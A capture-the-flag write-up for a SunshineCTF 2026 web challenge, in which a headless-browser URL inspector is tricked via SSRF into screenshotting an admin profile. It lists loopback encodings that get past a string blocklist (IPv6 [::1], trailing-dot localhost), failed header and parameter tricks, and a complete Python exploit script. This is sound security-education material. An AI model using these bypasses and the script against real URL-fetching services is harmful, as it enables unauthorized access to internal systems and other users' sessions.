$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: Express URL-inspector where a pre-authenticated headless Chromium drone screenshots any submitted URL, with a string-based SSRF blocklist. Solution: bypass the filter with the IPv6 loopback [::1] origin that also holds the drone's host-scoped admin cookie, and append a #clearance fragment so the deterministic anchor jump captures the below-the-fold flag plate.
SiteCheck // Orbital Diagnostics. Submit any http(s) URL and our inspection drone will visit it, record HTTP status, load time and files fetched, and return a snapshot. The drone politely refuses to inspect internal or local addresses.
English summary: An Express app (behind nginx) lets a registered "inspector" submit a URL. A headless Chromium "drone" performs page.goto(url), captures a 1280x800 screenshot, and stores it at /result/<uuid> → /screenshots/<uuid>.png. New users get BRONZE clearance and cannot see the classified flag on their /profile; only an admin/OMEGA account can. The goal is to make the drone reveal the admin profile's classified data in a screenshot.
App map (all other paths 404, even when fetched internally by the drone):
/register, /login, /logout (POST), /dashboard, /profile, /scan (POST url=...), /result/<uuid>, /screenshots/<uuid>.png, /static/style.css.Key facts:
sc_session = base64(uuid).HMACsig is a signed, server-side session reference — not tamperable/forgeable.BRONZE. /profile has a CLASSIFIED "Clearance Data" section with a <div class="flag-plate"> showing REDACTED · insufficient clearance for BRONZE. The flag renders there only for a privileged account.admin account already exists (registering username=admin → "That callsign is already taken.").style.css comment: /* instant anchor jumps: keeps the drone snapshot deterministic */. /profile has anchors #overview #service-record #clearance with ~1400px spacers pushing #clearance below the 800px viewport fold.The vulnerability is SSRF in the drone's fetch feature. The crux is that the drone browser is pre-authenticated as admin, but its cookie is host-scoped to a specific loopback origin. Reaching the app on any other host name shows the login page (drone appears unauthenticated).
Blocked (HTTP 400, "will not inspect internal or local addresses") — the filter is a case-insensitive string blocklist:
localhost, LOCALHOST, 127.0.0.1, 127.0.0.1., 0.0.0.0, 127.1, 2130706433 (decimal), 0177.0.0.1 (octal).file://) rejected separately ("Only http:// and https:// targets are supported.").NOT blocked (reach the app):
http://localhost.:PORT/ (trailing dot).http://[::1]:PORT/ (IPv6 loopback).An internal port scan via the bypass showed only port 3000 open — the app itself. Drone and app share the host.
The trailing-dot host localhost. reaches the app but is a different origin than the one owning the admin cookie, so the cookie is not sent → screenshot shows the login page. The IPv6 loopback [::1] both (1) bypasses the IPv4/localhost string blocklist and (2) matches the exact origin that holds the drone's admin session cookie, so the drone renders /profile as admin.
/profile, plus a #clearance fragment:
url=http://[::1]:3000/profile#clearance/result/<uuid> shows Status 200 / Result OK / ~9 files. The deterministic anchor jump scrolls the 800px viewport straight to the below-the-fold flag-plate./screenshots/<uuid>.png. The image shows the ADMIN profile's "Clearance Data" plate containing the flag (sun{...}).#!/usr/bin/env python3 # SiteCheck SSRF -> admin profile screenshot exploit import re, sys, requests BASE = "https://spaceship.web.2026.sunshinectf.games" USER = "inspector_ssrf" PASS = "OrbitalDiag123!" s = requests.Session() # 1) Register (ignore "already taken") and log in to get a valid session. s.post(f"{BASE}/register", data={"username": USER, "password": PASS}, allow_redirects=True) s.post(f"{BASE}/login", data={"username": USER, "password": PASS}, allow_redirects=True) # 2) Submit the SSRF target: IPv6 loopback origin (matches the drone's host-scoped # admin cookie AND bypasses the IPv4/localhost string blocklist) + #clearance # fragment for the deterministic anchor jump below the viewport fold. r = s.post(f"{BASE}/scan", data={"url": "http://[::1]:3000/profile#clearance"}, allow_redirects=True) # 3) Locate the result/screenshot UUID. m = re.search(r"/(?:result|screenshots)/([0-9a-fA-F-]{36})", r.url + " " + r.text) if not m: print("No UUID found; response:", r.status_code, r.url); sys.exit(1) uuid = m.group(1) print("Result:", f"{BASE}/result/{uuid}") # 4) Download the screenshot; the classified flag-plate is captured in the image. shot = s.get(f"{BASE}/screenshots/{uuid}.png") open("flag_shot.png", "wb").write(shot.content) print("Saved flag_shot.png -> the admin Clearance Data plate shows sun{...}")
Use this technique when:
page.goto(url) on a user-supplied URL and returns a screenshot (SSRF via a rendering drone).localhost/127.0.0.1/decimal/octal forms — try alternate loopback encodings, especially IPv6 [::1] and trailing-dot localhost..localhost., shows a logged-out page instead).#anchor) so the automatic scroll captures the hidden region in the screenshot./register (clearance=OMEGA, role=admin, is_admin=true) → stays BRONZE./profile (X-Forwarded-For 127.0.0.1/::1/localhost, X-Real-IP, X-Clearance, Clearance, X-Admin, X-Forwarded-Host/Proto) → still REDACTED.?user=admin, ?clearance=OMEGA, ?admin=1, ?id=1) and /profile/admin → no change / 404.Set-Cookie on GET routes; forged/client-supplied session cookie rejected (signed HMAC).[A-Za-z0-9_-]{3,24}; scanned URL not reflected unescaped; invalid URLs rejected).:3001) — only :3000 is up and it is the app itself.LOCALHOST — blocked (filter is case-insensitive).localhost. trailing-dot bypass reaches the app but is a different host → admin cookie not sent → login page (useful only to enumerate open port 3000).$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar